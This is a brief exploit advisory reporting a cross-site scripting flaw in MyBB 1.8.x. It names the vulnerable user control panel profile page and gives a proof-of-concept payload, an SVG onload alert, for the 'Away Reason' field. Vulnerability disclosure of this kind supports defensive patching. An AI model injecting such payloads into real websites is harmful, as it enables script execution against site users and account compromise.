# Exploit Title:MyBB 1.8.x UserCP XSS Vulnerability # Exploit Author:AtakBey # Vendor Homepage:https://mybb.com/ # Tested on : Windows 10 # Date : 05.12.2019 # My Forum: http://ak74security.org/ ------------------------------------------------------------------------------------------------------------------------------------------------ XSS Vuln. yoursite.com/usercp.php?action=profile Away Information Table > Away Reason Input : "><svg onload=alert(1)> ScreenShot: http://prntscr.com/q6iuwg ------------------------------------------------------------------------------------------------------------------------------------------------ #Discovered by AtakBey and ak74security.org